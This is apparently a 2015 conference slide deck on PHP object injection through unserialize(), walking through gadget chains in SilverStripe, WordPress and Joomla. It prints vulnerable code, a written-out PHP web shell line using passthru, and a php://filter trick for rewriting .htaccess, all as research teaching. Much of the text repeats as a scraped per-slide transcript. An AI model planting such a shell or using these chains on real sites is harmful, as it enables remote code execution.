© Pentest Limited 2015 - All rights reserved
PHP unserialization vulnerabilities:
What are we missing?
Sam Thomas
PHP unserialization vulnerabilities?
Slowly emerging class of vulnerabilities
(PHP) Object Injection
• An application will instantiate an object based on user input
• Unserialization
• “new” operator (see blog.leakfree.nl - CVE-2015-1033 - humhub)
SilverStripe Changelogs 2.4.6
(2011-10-17)
Security: Potential remote code execution through
serialization of page comment user submissions.
2009
• Stefan Esser - POC - Shocking News In PHP Exploitation
2010
• Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits
2011
2012
2009
• Stefan Esser - POC - Shocking News In PHP Exploitation
2010
• Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits
2011
2012
2013
• Arseny Reutov - Confidence Krakow - PHP Object Injection revisited
• Egidio Romano - JoomlaDay Italy - PHP Object Injection in Joomla...questo sconosciuto
2014
• Tom Van Goethem - Positive Hack Days - PHP Object Injection Vulnerability in WordPress: an Analysis
• Johannes Dahse - ACM CCS - Code Reuse Attacks in PHP: Automated POP Chain Generation
2015
• Egidio Romano - Security Summit - PHP Object Injection Demystified
New exploits for old vulnerabilities
• WordPress - CVE-2013-4338 - 714 days
• Joomla - CVE-2013-1453 - 933 days
• SilverStripe - CVE-2011-4962 - 1409 days
• WordPress plugin
• 30% of ALL ecommerce sites
(builtwith.com)
• Bug fixed June 10 2015
• Same payload as CVE-2013-4338
The vulnerability
unserialize($user_controlled_data)
The fixes
json_decode($user_controlled_data)
or
unserialize($data, $allowed_class_array)
The exploit technique
Code reuse
ROP POP
ret2libc
Return
Oriented
Programming
Property
Oriented
Programming
Agenda
• What is PHP (un)serialization?
• Why is it exploitable?
• Let’s exploit it!
What is PHP (un)serialization?
serialize — Generates a storable representation of a value
unserialize — Creates a PHP value from a stored representation
1 i:1;
‘foobar’ s:6:”foobar”;
i:1; 1
s:6:”foobar”; ‘foobar’
Primitive types in PHP
scalar
• boolean
• integer
• float
• string
compound
• array
• object
special
• resource
• NULL
Array
Object
public class className
{
private $prop1 = ‘value1’;
protected $prop2 = ‘value2’;
public $prop3 = ‘value3’;
public function meth1()
{
}
}
$x = new className();
Agenda
• What is PHP Unserialization?
• Why is it exploitable?
• Let’s exploit it!
Magic methods
• __construct()
• __destruct()
• __call()
• __callStatic()
• __get()
• __set()
• __isset()
• __unset()
• __sleep()
• __wakeup()
• __toString()
• __invoke()
• __set_state()
• __clone()
• __debugInfo()
Magic methods
• __construct()
• __destruct()
• __call()
• __callStatic()
• __get()
• __set()
• __isset()
• __unset()
• __sleep()
• __wakeup()
• __toString()
• __invoke()
• __set_state()
• __clone()
• __debugInfo()
__wakeup
• Invoked on unserialization
• Reinitialise database connections
• Other reinitialisation tasks
__destruct
• Invoked on garbage collection
• Clean up references
• Finish any unfinished business
• Often interesting things happen here!
__toString
• Invoked when an object is treated as a string:
echo $object;
• Can contain complex rendering methods
__call
Invoked when an undefined method is called
$object->foobar($args)=$object->__call(‘foobar’,$args)
Autoloading
• Applications define a function to deal with unloaded
classes, this is invoked during unserialization
• Either “__autoload” function or any function registered
with “spl_autoload_register”
Weak typing
“PHP does not require (or support) explicit type
definition in variable declaration”
variables (->object properties) can take any value
All functions have variable arguments
foobar() = foobar(null) = foobar(null, null)
Weak typing + variable args
=
Many possible POP chains
Agenda
• What is PHP Unserialization?
• Why is it exploitable?
• Let’s exploit it!
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
SilverStripe 2.4.x – 2.4.6
CVE-2011-4962
(Tim Klein)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
function PostCommentForm() {
…
// Load the users data from a cookie
if($cookie = Cookie::get("PageCommentInterface_Data")) {
$form->loadDataFrom(unserialize($cookie));
}
…
}
Entry point – PageCommentInterface - PostCommentForm
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
function sapphire_autoload($className) {
global $_CLASS_MANIFEST;
$lClassName = strtolower($className);
if(isset($_CLASS_MANIFEST[$lClassName]))
include_once($_CLASS_MANIFEST[$lClassName]);
else if(isset($_CLASS_MANIFEST[$className]))
include_once($_CLASS_MANIFEST[$className]);
}
spl_autoload_register('sapphire_autoload');
Autoloader from core.php
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Possible start points
• 0 x “function __wakeup”
• 5 x “function __destruct”
• MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite,
Zend_Log
public function __destruct() {
if(is_resource($this->handle))
mysql_free_result($this>handle);
}
__destruct #1 - MySQLQuery
function __destruct() {
$this->closeFile();
}
protected function closeFile() {
if($this->fileHandle) fclose($this->fileHandle);
$this->fileHandle = null;
$this->rowNum = 0;
$this->currentRow = null;
$this->headerRow = null;
}
__destruct #2 - CSVParser
public function __destruct()
{
foreach($this->_writers as $writer) {
$writer->shutdown();
}
}
__destruct #5 - Zend_Log
Possible start points
• 0 x “function __wakeup”
• 5 x “function __destruct”
• MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite,
Zend_Log
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Next steps
• 5 x “function shutdown”
• Zend_Log_Writer_Abstract, Zend_Log_Writer_Db,
Zend_Log_Writer_Mail, Zend_Log_Writer_Mock,
Zend_Log_Writer_Stream
Next steps
• 5 x “function shutdown”
• Zend_Log_Writer_Abstract, Zend_Log_Writer_Db,
Zend_Log_Writer_Mail, Zend_Log_Writer_Mock,
Zend_Log_Writer_Stream
Next steps
• 5 x “function shutdown”
• Zend_Log_Writer_Abstract, Zend_Log_Writer_Db,
Zend_Log_Writer_Mail, Zend_Log_Writer_Mock,
Zend_Log_Writer_Stream
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Next steps
• 5 x “function shutdown”
• Zend_Log_Writer_Abstract, Zend_Log_Writer_Db,
Zend_Log_Writer_Mail, Zend_Log_Writer_Mock,
Zend_Log_Writer_Stream
• 8 x “function __call”
• Aggregate, VirtualPage, Object, ViewableData, Form_FieldMap,
TabularStyle, Zend_Cache_Frontend_Class, Zend_Log
function __call($func, $args) {
return call_user_func_array(array(&$this->form, $func), $args);
}
__call #6 – TabularStyle – proxy gadget
public function __call($method, $params)
{
$priority = strtoupper($method);
if (($priority = array_search($priority, $this->_priorities)) !== false) {
$this->log(array_shift($params), $priority);
} else {
…
}
}
public function log($message, $priority)
{
…
$event = array_merge(array('timestamp' => date('c'),
'message' => $message,
'priority' => $priority,
'priorityName' => $this->_priorities[$priority]),
$this->_extras);
…
foreach ($this->_writers as $writer) {
$writer->write($event);
}
}
__call #8 - Zend_Log
Catch all __call gadget
Useful because of what triggers it
$this->anyProperty->anyMethod($anyArgs)
This at any start point will trigger it
public function __call($method, $params)
{
$priority = strtoupper($method);
if (($priority = array_search($priority, $this->_priorities)) !== false) {
$this->log(array_shift($params), $priority);
} else {
…
}
}
public function log($message, $priority)
{
…
$event = array_merge(array('timestamp' => date('c'),
'message' => $message,
'priority' => $priority,
'priorityName' => $this->_priorities[$priority]),
$this->_extras);
…
foreach ($this->_writers as $writer) {
$writer->write($event);
}
}
__call #8 - Zend_Log
Written to file
[19-Aug-2015 19:40:12] Error at line : hi mum
(http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)
Written to file
[19-Aug-2015 19:40:12] Error at line : <?php
passthru($_GET[‘c’]); ?>
(http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)
403
There is a way
• Using “php://filter/convert.base64-decode/resource=”
• PHP ignores all non base64 characters
• Can be nested
• Use this to write a new .htaccess in a subdirectory
• See Stefan Esser’s Piwik advisory from 2009
Wordpress<3.6.1
CVE-2013-4338
(Tom Van Goethem)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Mathias Bynens
utf8 in mysql ≠ UTF-8
• Only handles up to 3 byte characters
• 4 byte character terminates input like a null-byte poisoning attack
UPDATE table SET column = 'foo𝌆bar' WHERE id = 1;
SELECT column FROM table WHERE id = 1; - returns ‘foo’
Tom Van Goethem
Genius insight
=
We can abuse this to screw with WordPress’
unserialization
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
No autoloader!?
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Possible start points
(get_declared_classes)
• 0 x “function __wakeup”
• 2 x “function __destruct”
• wpdb, WP_Object_Cache
• 1 x “function __toString”
• WP_Theme
public function __destruct() {
return true;
}
__destruct #1 - wpdb
public function __destruct() {
return true;
}
__destruct #2 - WP_Object_Cache
/**
* When converting the object to a string, the theme name is returned.
*
* @return string Theme name, ready for display (translated)
*/
public function __toString() {
return (string) $this->display('Name');
}
public function display( $header, $markup = true, $translate = true ) {
$value = $this->get( $header );
if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) )
$translate = false;
if ( $translate )
$value = $this->translate_header( $header, $value );
if ( $markup )
$value = $this->markup_header( $header, $value, $translate );
return $value;
}
__toString #1 - WP_Theme
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
/**
* When converting the object to a string, the theme name is returned.
*
* @return string Theme name, ready for display (translated)
*/
public function __toString() {
return (string) $this->display('Name');
}
public function display( $header, $markup = true, $translate = true ) {
$value = $this->get( $header );
if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) )
$translate = false;
if ( $translate )
$value = $this->translate_header( $header, $value );
if ( $markup )
$value = $this->markup_header( $header, $value, $translate );
return $value;
}
__toString #1 - WP_Theme
/**
* Makes a function, which will return the right translation index, according to
the
* plural forms header
*/
function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
$index = (int)($expression);
return ($index < $nplurals)? $index : $nplurals - 1;";
return create_function('$n', $func_body);
}
Endpoint – make_plural_form_function - Translations
WP_Theme __toString display load_textdomain
(l10n.php) load_theme_textdomain load_textdomain
MO import_from_file import_from_reader
Translations set_headers set_header make_plural_form_function
Joomla < 3.03
CVE-2013-1453
(Egidio Romano)
Prior exploits
• 2013 - Egidio Romano
• Arbitrary directory deletion
• Blind SQL injection
• 2014 - Johanne Dahse
• File permission modification
• Directory creation
• Autoloaded local file inclusion – WTF!
The LFI exploit
Abuses a sink I didn’t know about (method_exists)
Requires
• null byte poisoning in include (CVE-2006-7243 – fixed 2010)
• Malformed class name passed to method_exists (fixed 2014)
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
public function onAfterDispatch()
{
…
// Get the terms to highlight from the request.
$terms = $input->request->get('highlight', null, 'base64');
$terms = $terms ? unserialize(base64_decode($terms)) : null;
…
}
Entry point - PlgSystemHighlight extends JPlugin
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Autoloader has lots of code
• If the classname starts with the prefix “J”
• Split camelCase at each uppercase letter
• e.g. JCacheController is at /libraries/Joomla/cache/controller.php
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
public function __destruct()
{
// Do not render if debugging or language debug is not enabled
if (!JDEBUG && !$this->debugLang)
{
return;
}
// User has to be authorised to see the debug information
if (!$this->isAuthorisedDisplayDebug())
{
return;
}
…
}
private function isAuthorisedDisplayDebug()
{
…
$filterGroups = (array) $this->params->get('filter_groups', null);
…
}
Starting point - __destruct - plgSystemDebug extends JPlugin
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Next steps
• 33 x “function get”
• JApplicationCli, JApplicationWeb, JCache, JCacheControllerCallback,
JCacheControllerPage, JCacheControllerView, JCacheController,
JCacheStorageApc, JCacheStorageCachelite, JCacheStorageFile,
JCacheStorageMemcache, JCacheStorageMemcached,
JCacheStorageWincache, JCacheStorageXcache, JCacheStorage,
JClientFtp, JGithubGists, JGithubIssues, JGithubPulls, JGithubRefs,
JHttp, JInputFiles, JInput, JLanguage, JObject, JPagination, JRegistry,
JSession, JCategories, JException, JRequest, JViewLegacy, SimplePie
• 4 x “function __call”
• JCacheController, *JDatabaseDriver, *JDatabaseQuery, JInput
/**
* Executes a cacheable callback if not found in cache else returns cached
output and result
*
* @param mixed $callback Callback or string shorthand for a callback
* @param array $args Callback arguments
* @param string $id Cache id
* @param boolean $wrkarounds True to use wrkarounds
* @param array $woptions Workaround options
*
* @return mixed Result of the callback
*
* @since 11.1
*/
public function get($callback, $args = array(), $id = false, $wrkarounds =
false, $woptions = array())
{
…
$result = call_user_func_array($callback, $Args);
…
}
get #4 - JCacheControllerCallback extends JCacheController
call_user_func_array as an endpoint
• Trivial if we control both args:
call_user_func_array(‘passthru’, ’uname –a’)
• Near trivial if we control just first arg:
call_user_func_array(array($object, $method_name),$args)
public function get($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
…
}
protected function fetchUrl($path, $page = 0, $limit = 0)
{
// Get a new JUri object using the api url and given path.
$uri = new JUri($this->options->get('api.url') . $path);
if ($this->options->get('api.username', false))
{
$uri->setUser($this->options->get('api.username'));
}
…
return (string) $uri;
}
get #17 - JGithubGists extends JGithubObject
public function get($property, $default = null)
{
if (isset($this->metadata[$property]))
{
return $this->metadata[$property];
}
return $default;
}
get #24 - JLanguage
api.url=“x:///” + api.username=“arbitrary” ->
$this->fetchUrl(..) = “arbitrary@”
public function get($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
…
}
protected function fetchUrl($path, $page = 0, $limit = 0)
{
// Get a new JUri object using the api url and given path.
$uri = new JUri($this->options->get('api.url') . $path);
if ($this->options->get('api.username', false))
{
$uri->setUser($this->options->get('api.username'));
}
…
return (string) $uri;
}
get #17 - JGithubGists extends JGithubObject
elseif (strstr($callback, '::'))
{
list ($class, $method) = explode('::', $callback);
$callback = array(trim($class), trim($method));
}
…
elseif (strstr($callback, '->'))
{
/*
* This is a really not so smart way of doing this...
…
list ($object_123456789, $method) = explode('->', $callback);
global $$object_123456789;
$callback = array($$object_123456789, $method);
}
JCacheControllerCallback – callback string shorthand
Variable variables
$a = ‘b’
$b = ‘c’
$$a = $($a) = $b = ‘c’
elseif (strstr($callback, '::'))
{
list ($class, $method) = explode('::', $callback);
$callback = array(trim($class), trim($method));
}
…
elseif (strstr($callback, '->'))
{
/*
* This is a really not so smart way of doing this...
…
list ($object_123456789, $method) = explode('->', $callback);
global $$object_123456789;
$callback = array($$object_123456789, $method);
}
JCacheControllerCallback – callback string shorthand
$id = $this->_makeId($callback, $args);
$data = $this->cache->get($id);
if ($data === false)
{
$locktest = $this->cache->lock($id);
…
}
if ($data !== false)
{
$cached = unserialize(trim($data));
$result = $cached['result'];
}
else
{
$result = call_user_func_array($callback, $Args);
}
JCacheControllerCallback – cache and callback logic
• call_user_func_array doesn’t error on a non-existent method
• We can use a proxy gadget to get past the “lock” method
public function __call($name, $arguments)
{
$nazaj = call_user_func_array(array($this->cache, $name), $arguments);
return $nazaj;
}
Proxy gadget - JCacheController – __call
public function get($id, $group = null)
{
$data = false;
$data = $this->cache->get($id, $group);
…
if ($data !== false)
{
$data = unserialize(trim($data));
}
return $data;
}
get #7 - JCacheController
$id = $this->_makeId($callback, $args);
$data = $this->cache->get($id);
if ($data === false)
{
$locktest = $this->cache->lock($id);
…
}
if ($data !== false)
{
$cached = unserialize(trim($data));
$result = $cached['result'];
}
else
{
$result = call_user_func_array($callback, $Args);
}
JCacheControllerCallback – cache and callback logic
There’s nothing to stop us following the same path twice
• On the first pass we globalise $result and retrieve it from the cache
• On the second pass we use $result as the object in the callback
We can now call an arbitrary method on an arbitrary object
public function _startElement($parser, $name, $attrs = array())
{
array_push($this->stack, $name);
$tag = $this->_getStackLocation();
// Reset the data
eval('$this->' . $tag . '->_data = "";');
…
}
protected function _getStackLocation()
{
return implode('->', $this->stack);
}
JUpdate – _startElement
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
500
public function get($gistId)
{
// Build the request path.
$path = '/gists/' . (int) $gistId;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
get #17 - JGithubGists extends JGithubObject
Take aways
Developers
• Think very carefully before using this type of function
Testers / Researchers
• Test for and find this type of issue
• Exploit it – it’s fun!
Methodology
• Find an entry point
• What classes are loaded/loadable (autoload)
• Dummy classes
• Indirect inclusion
• Find possible starting points
• __destruct, __toString, __wakeup
• Get from a starting point to a desirable end point
• Find desirable end points?
• Use more magic
Questions?

PHP unserialization vulnerabilities: What are we missing?

  • 1.
    © Pentest Limited2015 - All rights reserved PHP unserialization vulnerabilities: What are we missing? Sam Thomas
  • 3.
    PHP unserialization vulnerabilities? Slowlyemerging class of vulnerabilities (PHP) Object Injection • An application will instantiate an object based on user input • Unserialization • “new” operator (see blog.leakfree.nl - CVE-2015-1033 - humhub)
  • 4.
    SilverStripe Changelogs 2.4.6 (2011-10-17) Security:Potential remote code execution through serialization of page comment user submissions.
  • 5.
    2009 • Stefan Esser- POC - Shocking News In PHP Exploitation 2010 • Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits 2011 2012
  • 6.
    2009 • Stefan Esser- POC - Shocking News In PHP Exploitation 2010 • Stefan Esser - BlackHat USA - Utilizing Code Reuse/ROP in PHP Application Exploits 2011 2012 2013 • Arseny Reutov - Confidence Krakow - PHP Object Injection revisited • Egidio Romano - JoomlaDay Italy - PHP Object Injection in Joomla...questo sconosciuto 2014 • Tom Van Goethem - Positive Hack Days - PHP Object Injection Vulnerability in WordPress: an Analysis • Johannes Dahse - ACM CCS - Code Reuse Attacks in PHP: Automated POP Chain Generation 2015 • Egidio Romano - Security Summit - PHP Object Injection Demystified
  • 7.
    New exploits forold vulnerabilities • WordPress - CVE-2013-4338 - 714 days • Joomla - CVE-2013-1453 - 933 days • SilverStripe - CVE-2011-4962 - 1409 days
  • 8.
    • WordPress plugin •30% of ALL ecommerce sites (builtwith.com) • Bug fixed June 10 2015 • Same payload as CVE-2013-4338
  • 9.
  • 10.
  • 11.
    The exploit technique Codereuse ROP POP ret2libc Return Oriented Programming Property Oriented Programming
  • 12.
    Agenda • What isPHP (un)serialization? • Why is it exploitable? • Let’s exploit it!
  • 13.
    What is PHP(un)serialization? serialize — Generates a storable representation of a value unserialize — Creates a PHP value from a stored representation 1 i:1; ‘foobar’ s:6:”foobar”; i:1; 1 s:6:”foobar”; ‘foobar’
  • 14.
    Primitive types inPHP scalar • boolean • integer • float • string compound • array • object special • resource • NULL
  • 15.
  • 16.
    Object public class className { private$prop1 = ‘value1’; protected $prop2 = ‘value2’; public $prop3 = ‘value3’; public function meth1() { } } $x = new className();
  • 17.
    Agenda • What isPHP Unserialization? • Why is it exploitable? • Let’s exploit it!
  • 18.
    Magic methods • __construct() •__destruct() • __call() • __callStatic() • __get() • __set() • __isset() • __unset() • __sleep() • __wakeup() • __toString() • __invoke() • __set_state() • __clone() • __debugInfo()
  • 19.
    Magic methods • __construct() •__destruct() • __call() • __callStatic() • __get() • __set() • __isset() • __unset() • __sleep() • __wakeup() • __toString() • __invoke() • __set_state() • __clone() • __debugInfo()
  • 20.
    __wakeup • Invoked onunserialization • Reinitialise database connections • Other reinitialisation tasks
  • 21.
    __destruct • Invoked ongarbage collection • Clean up references • Finish any unfinished business • Often interesting things happen here!
  • 22.
    __toString • Invoked whenan object is treated as a string: echo $object; • Can contain complex rendering methods
  • 23.
    __call Invoked when anundefined method is called $object->foobar($args)=$object->__call(‘foobar’,$args)
  • 24.
    Autoloading • Applications definea function to deal with unloaded classes, this is invoked during unserialization • Either “__autoload” function or any function registered with “spl_autoload_register”
  • 25.
    Weak typing “PHP doesnot require (or support) explicit type definition in variable declaration” variables (->object properties) can take any value
  • 26.
    All functions havevariable arguments foobar() = foobar(null) = foobar(null, null)
  • 27.
    Weak typing +variable args = Many possible POP chains
  • 28.
    Agenda • What isPHP Unserialization? • Why is it exploitable? • Let’s exploit it!
  • 29.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 30.
    SilverStripe 2.4.x –2.4.6 CVE-2011-4962 (Tim Klein)
  • 31.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 32.
    function PostCommentForm() { … //Load the users data from a cookie if($cookie = Cookie::get("PageCommentInterface_Data")) { $form->loadDataFrom(unserialize($cookie)); } … } Entry point – PageCommentInterface - PostCommentForm
  • 33.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 34.
    function sapphire_autoload($className) { global$_CLASS_MANIFEST; $lClassName = strtolower($className); if(isset($_CLASS_MANIFEST[$lClassName])) include_once($_CLASS_MANIFEST[$lClassName]); else if(isset($_CLASS_MANIFEST[$className])) include_once($_CLASS_MANIFEST[$className]); } spl_autoload_register('sapphire_autoload'); Autoloader from core.php
  • 35.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 36.
    Possible start points •0 x “function __wakeup” • 5 x “function __destruct” • MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite, Zend_Log
  • 37.
    public function __destruct(){ if(is_resource($this->handle)) mysql_free_result($this>handle); } __destruct #1 - MySQLQuery
  • 38.
    function __destruct() { $this->closeFile(); } protectedfunction closeFile() { if($this->fileHandle) fclose($this->fileHandle); $this->fileHandle = null; $this->rowNum = 0; $this->currentRow = null; $this->headerRow = null; } __destruct #2 - CSVParser
  • 39.
    public function __destruct() { foreach($this->_writersas $writer) { $writer->shutdown(); } } __destruct #5 - Zend_Log
  • 40.
    Possible start points •0 x “function __wakeup” • 5 x “function __destruct” • MySQLQuery, CSVParser, TestSession, Zend_Cache_Backend_Sqlite, Zend_Log
  • 41.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 42.
    Next steps • 5x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream
  • 43.
    Next steps • 5x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream
  • 44.
    Next steps • 5x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream
  • 46.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 47.
    Next steps • 5x “function shutdown” • Zend_Log_Writer_Abstract, Zend_Log_Writer_Db, Zend_Log_Writer_Mail, Zend_Log_Writer_Mock, Zend_Log_Writer_Stream • 8 x “function __call” • Aggregate, VirtualPage, Object, ViewableData, Form_FieldMap, TabularStyle, Zend_Cache_Frontend_Class, Zend_Log
  • 48.
    function __call($func, $args){ return call_user_func_array(array(&$this->form, $func), $args); } __call #6 – TabularStyle – proxy gadget
  • 49.
    public function __call($method,$params) { $priority = strtoupper($method); if (($priority = array_search($priority, $this->_priorities)) !== false) { $this->log(array_shift($params), $priority); } else { … } } public function log($message, $priority) { … $event = array_merge(array('timestamp' => date('c'), 'message' => $message, 'priority' => $priority, 'priorityName' => $this->_priorities[$priority]), $this->_extras); … foreach ($this->_writers as $writer) { $writer->write($event); } } __call #8 - Zend_Log
  • 50.
    Catch all __callgadget Useful because of what triggers it $this->anyProperty->anyMethod($anyArgs) This at any start point will trigger it
  • 51.
    public function __call($method,$params) { $priority = strtoupper($method); if (($priority = array_search($priority, $this->_priorities)) !== false) { $this->log(array_shift($params), $priority); } else { … } } public function log($message, $priority) { … $event = array_merge(array('timestamp' => date('c'), 'message' => $message, 'priority' => $priority, 'priorityName' => $this->_priorities[$priority]), $this->_extras); … foreach ($this->_writers as $writer) { $writer->write($event); } } __call #8 - Zend_Log
  • 53.
    Written to file [19-Aug-201519:40:12] Error at line : hi mum (http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)
  • 54.
    Written to file [19-Aug-201519:40:12] Error at line : <?php passthru($_GET[‘c’]); ?> (http://127.0.0.1/BSidesMCR/SilverStripe/test-page/)
  • 55.
  • 56.
    There is away • Using “php://filter/convert.base64-decode/resource=” • PHP ignores all non base64 characters • Can be nested • Use this to write a new .htaccess in a subdirectory • See Stefan Esser’s Piwik advisory from 2009
  • 57.
  • 58.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 59.
    Mathias Bynens utf8 inmysql ≠ UTF-8 • Only handles up to 3 byte characters • 4 byte character terminates input like a null-byte poisoning attack UPDATE table SET column = 'foo𝌆bar' WHERE id = 1; SELECT column FROM table WHERE id = 1; - returns ‘foo’
  • 60.
    Tom Van Goethem Geniusinsight = We can abuse this to screw with WordPress’ unserialization
  • 61.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 62.
  • 63.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 64.
    Possible start points (get_declared_classes) •0 x “function __wakeup” • 2 x “function __destruct” • wpdb, WP_Object_Cache • 1 x “function __toString” • WP_Theme
  • 65.
    public function __destruct(){ return true; } __destruct #1 - wpdb
  • 66.
    public function __destruct(){ return true; } __destruct #2 - WP_Object_Cache
  • 67.
    /** * When convertingthe object to a string, the theme name is returned. * * @return string Theme name, ready for display (translated) */ public function __toString() { return (string) $this->display('Name'); } public function display( $header, $markup = true, $translate = true ) { $value = $this->get( $header ); if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) ) $translate = false; if ( $translate ) $value = $this->translate_header( $header, $value ); if ( $markup ) $value = $this->markup_header( $header, $value, $translate ); return $value; } __toString #1 - WP_Theme
  • 68.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 72.
    Methodology • Find anentry point • What classes are loaded/loadable (autoload) • Dummy classes • Indirect inclusion • Find possible starting points • __destruct, __toString, __wakeup • Get from a starting point to a desirable end point • Find desirable end points? • Use more magic
  • 73.
